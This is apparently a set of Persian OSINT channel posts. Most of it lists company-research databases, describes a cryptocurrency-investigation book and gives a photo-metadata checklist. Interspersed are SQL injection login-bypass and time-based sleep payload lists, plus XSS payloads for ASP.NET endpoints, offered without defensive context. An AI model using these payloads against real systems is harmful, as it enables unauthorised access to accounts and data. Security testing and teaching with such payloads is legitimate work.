تحقیقات شرکت ها،سازمان ها و.. فصل اول #اوسینت
• AllStocksLinks
• Better Business Bureau
• Bizeurope
• Bloomberg
• Business Source
• Bureau Van Dijk
• Canadian Business Research
• Canadian Business Resource
• Central and Eastern European Business Directory
• Company Registration Round the World
• Company Research Resources by Country Comparably
• CompeteShark
• Corporate Information
- اطلاعات جمع آوری شده از منابع در دسترس عموم در شرکت های سهامی عام در سراسر جهان.

• CrunchBase
- اطلاعات دقیق در مورد کسب و کارهای راه اندازی شده، با تمرکز خاص بر منابع مالی و روش های تامین مالی مورد استفاده توسط مشاغل خاص.
• Data.com Connect
• EDGAR U.S. Securities and Exchange Commission Filings
- پرونده‌های کمیسیون بورس و اوراق بهادار ایالات متحده،گزارش‌های دوره‌ای و افشای شرکت‌های گسترده از همه مشاغلی که به صورت عمومی در ایالات متحده معامله می‌شوند.
• Europages
• European Business Register
• Ezilon
• Factiva
• Forbes Global 2000
• Glassdoor
• globalEdge
• GuideStar
• Hoovers
• Inc. 5000
• InstantLogoSearch
• iSpionage
• Judyrecords
- جستجوی سراسری بیش از 400 میلیون پرونده قضایی در ایالات متحده.
• Knowledge guide to international company registration
• Linkedin
- پلتفرم رسانه های اجتماعی پر استفاده با تمرکز بر پروفایل های حرفه ای و استخدام. طیف گسترده ای از صنایع را در بر می گیرد. برای جمع آوری اطلاعات در مورد اینکه چه افراد خاصی در یک نهاد فعال هستند بسیار مفید است
• National Company Registers
• Mergent Intellect
• Mergent Online
• Notablist
• Orbis directory
• OpenCorporates
- جستجوی جهانی نهادهای شرکتی ثبت شده و افسران یا سرمایه گذاران فردی مرتبط با آنها.
• OpenOwnership Register
• Overseas Company Registers
• Plunkett Research
• Scoot
• SEMrush
• Serpstat
• SpyFu
• UniCourt
- جستجوی سراسری بیش از 100 میلیون پرونده قضایی ایالات متحده
• Vault
- رتبه بندی معروف بزرگترین شرکت های ایالات متحده.
• Xing
• Caselaw Access Project
- مجموعه ای از متن کامل پرونده های تاریخی (نه به روز) از دادگاه های ایالتی ایالات متحده.
• BrownBook
• CorporationWiki
• GoodFirms
• YouControl

نیک فورنو
تحقیق در مورد ارزهای دیجیتال

بررسی ارزهای دیجیتال اولین کتابی است که به شرکت‌ها، مجریان قانون و سایر محققین کمک می‌کند تا مفاهیم فنی و تکنیک‌های بررسی جرایم را با استفاده از بلاک چین و ارزهای دیجیتال مرتبط مانند بیت‌کوین و اتریوم درک کنند.

فناوری های بلاک چین و تراکنش را بشناسید
حساب‌های ارزهای دیجیتال را راه‌اندازی و اجرا کنید
ایجاد اطلاعات در مورد آدرس های خاص
دسترسی به داده های خام در دفتر کل بلاک چین
شناسایی کاربران ارزهای دیجیتال
استخراج داده های ارزهای دیجیتال از رایانه های زنده و تصویری
دنبال پول

یک متخصص #اوسینت یا کارگاه وب وقتی به یک عکس یا ویدئو برخورد می کند برای رسیدن به سر نخ ها این موارد را بررسی می کند:

Original Photo taken from Camera?
is copyrighted?
Has authoring Information?
Contains comments / denoscriptions?
Contains tracking?
Contains faces?
Contains text?
Contains location detalls?
Contains steganography?
Contains digital watermarks?
Contains date/time details?
Has maker note content?
Contains camera device Information?
Has thumbnail(s)?
Contains unreadable metadata?
Traling data appended to photo?
Contains metadata?

Login Bypass 🌵

#SQLi

param='
param="
param=' or 1=1
param=' or 1=0
param=' and 1=1
' or sleep(2) and 1=1#
' or sleep(2)#
admin' and sleep(2)#
' union select sleep(2),null#
' union select sleep(2),null,null,null,null#

Part 1🥶

Pass : Pwn3rzs

param=' or 1=1#
param=' or 1=1
param=' or 1=1 //
param= or 1=1#
param=and or 1=1#
param=' or 1=1

This is the most classic, standard first test:

' or '1'='1

Then you have:
-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '

Part 2 🥶

JSON Crack is a tool that generates graph diagrams from JSON objects


https://github.com/AykutSarac/jsoncrack.com

سیم سوآپ یا سیم کارت هایجکینگ چیست؟

https://youtu.be/DGJqmKfRulU

داوود سجادی دکترای کامپیوتر ✍

حباب اطلاعاتی چیست؟
چگونه می‌توان از آن خارج شد؟
منبع: dw_persian

🥶Add to your SQL injection payload list 🥶

1%27//%256fR//50%2521%253D22%253B%2523  
==
"0\"XOR(if(now()=sysdate(),sleep(9),0))XOR\"Z",
===
query=login&username=rrr';SELECT PG_SLEEP(5)--&password=rr&submit=Login
==
' AND (SELECT 8871 FROM (SELECT(SLEEP(5)))uZxz)

XSS payloads for http://ASP.NET endpoints:

/(A('onerror=%22alert%601%60%22testabcd))/

/Orders/(A(%22onerror='alert%60xss%60'testabcd))/Login.aspx?ReturnUrl=/Orders

(A(%22onerror='alert%601%60'testabcd))/Login.aspx?ReturnUrl=%2f

For more ➡️ http://blog.isec.pl/all-is-xss-that-comes-to-the-net/